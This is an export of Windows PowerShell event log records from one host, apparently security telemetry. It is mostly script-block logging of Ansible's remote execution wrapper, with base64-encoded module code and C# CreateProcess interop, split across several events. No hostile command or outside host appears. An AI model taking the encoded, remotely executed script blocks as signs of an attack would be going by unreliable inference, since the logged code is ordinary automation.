Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2041 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0000-cf0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
kcmVtb3RlX3RtcAogICAgQWRkLVR5cGUgLVR5cGVEZWZpbml0aW9uICRwcm9jZXNzX3V0aWwKICAgICRlbnY6VE1QID0gJG9yaWdpbmFsX3RtcAp9CgpGdW5jdGlvbiBHZXQtRXhlY3V0YWJsZVBhdGgoJGV4ZWN1dGFibGUsICRkaXJlY3RvcnkpIHsKICAgICMgbHBBcHBsaWNhdGlvbk5hbWUgcmVxdWlyZXMgdGhlIGZ1bGwgcGF0aCB0byBhIGZpbGUsIHdlIG5lZWQgdG8gZmluZCBpdAogICAgIyBvdXJzZWx2ZXMuCgogICAgIyB3ZSBuZWVkIHRvIGFkZCAuZXhlIGlmIGl0IGRvZXNuJ3QgaGF2ZSBhbiBleHRlbnNpb24gYWxyZWFkeQogICAgaWYgKC1ub3QgW1N5c3RlbS5JTy5QYXRoXTo6SGFzRXh0ZW5zaW9uKCRleGVjdXRhYmxlKSkgewogICAgICAgICRleGVjdXRhYmxlID0gIiQoJGV4ZWN1dGFibGUpLmV4ZSIKICAgIH0KICAgICRmdWxsX3BhdGggPSBbU3lzdGVtLklPLlBhdGhdOjpHZXRGdWxsUGF0aCgkZXhlY3V0YWJsZSkKCiAgICBpZiAoJGZ1bGxfcGF0aCAtbmUgJGV4ZWN1dGFibGUgLWFuZCAkZGlyZWN0b3J5IC1uZSAkbnVsbCkgewogICAgICAgICRmaWxlID0gR2V0LUl0ZW0gLVBhdGggIiRkaXJlY3RvcnlcJGV4ZWN1dGFibGUiIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgfSBlbHNlIHsKICAgICAgICAkZmlsZSA9IEdldC1JdGVtIC1QYXRoICRleGVjdXRhYmxlIC1Gb3JjZSAtRXJyb3JBY3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2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZ
ScriptBlock ID: 0a922c28-0448-4d00-8d57-8e1f09348453
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2040 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0000-cf0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbX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ICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdH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AgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIGdldHRpbmcgcHJvY2VzcyBleGl0IGNvZGUiKTsKICAgICAgICAgICAgcmV0dXJuIGV4aXRDb2RlOwogICAgICAgIH0KICAgIH0KfQoiQAoKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTdG9wJwoKRnVuY3Rpb24gTG9hZC1Db21tYW5kVXRpbHMgewogICAgIyBtYWtlcyB0aGUgZm9sbG93aW5nIHN0YXRpYyBmdW5jdGlvbnMgYXZhaWxhYmxlCiAgICAjICAgW0Fuc2libGUuQ29tbWFuZFV0aWxdOjpQYXJzZUNvbW1hbmRMa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mVtb3RlX3RtcCkKICAgICAgICB9CiAgICB9CgogICAgJGVudjpUTVAgPSA
ScriptBlock ID: 0a922c28-0448-4d00-8d57-8e1f09348453
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2039 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0000-cf0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgIC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FbmNvZGluZyA9IE5ldy1PYmplY3QgVGV4dC5VVEY4RW5jb2RpbmcgYCRmYWxzZSIpIHwgT3V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2lt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RyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIFdpbjMyRXhjZXB0aW9uIDogU3lzdGVtLkNvbXBvbmVudE1vZGVsLldpbjMyRXhjZXB0aW9uCiAgICB7CiAgICAgICAgcHJpdmF0ZSBzdHJpbmcgX21zZzsKCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpLCBtZXNzYWdlKSB7IH0KCiAgICAgICAgcHV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1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ
ScriptBlock ID: 0a922c28-0448-4d00-8d57-8e1f09348453
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2038 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 4028 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0000-cf0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2037 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0003-db0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4268 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2036 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 3252 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0003-db0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2035 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4268 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:11 AM | 61e00a24-ee3b-0003-db0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2034 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4708 | 4856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:08 AM | 61e00a24-ee3b-0003-d60a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4708 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2033 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4708 | 4572 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:08 AM | 61e00a24-ee3b-0003-d60a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2032 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4708 | 4856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:08 AM | 61e00a24-ee3b-0003-d60a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
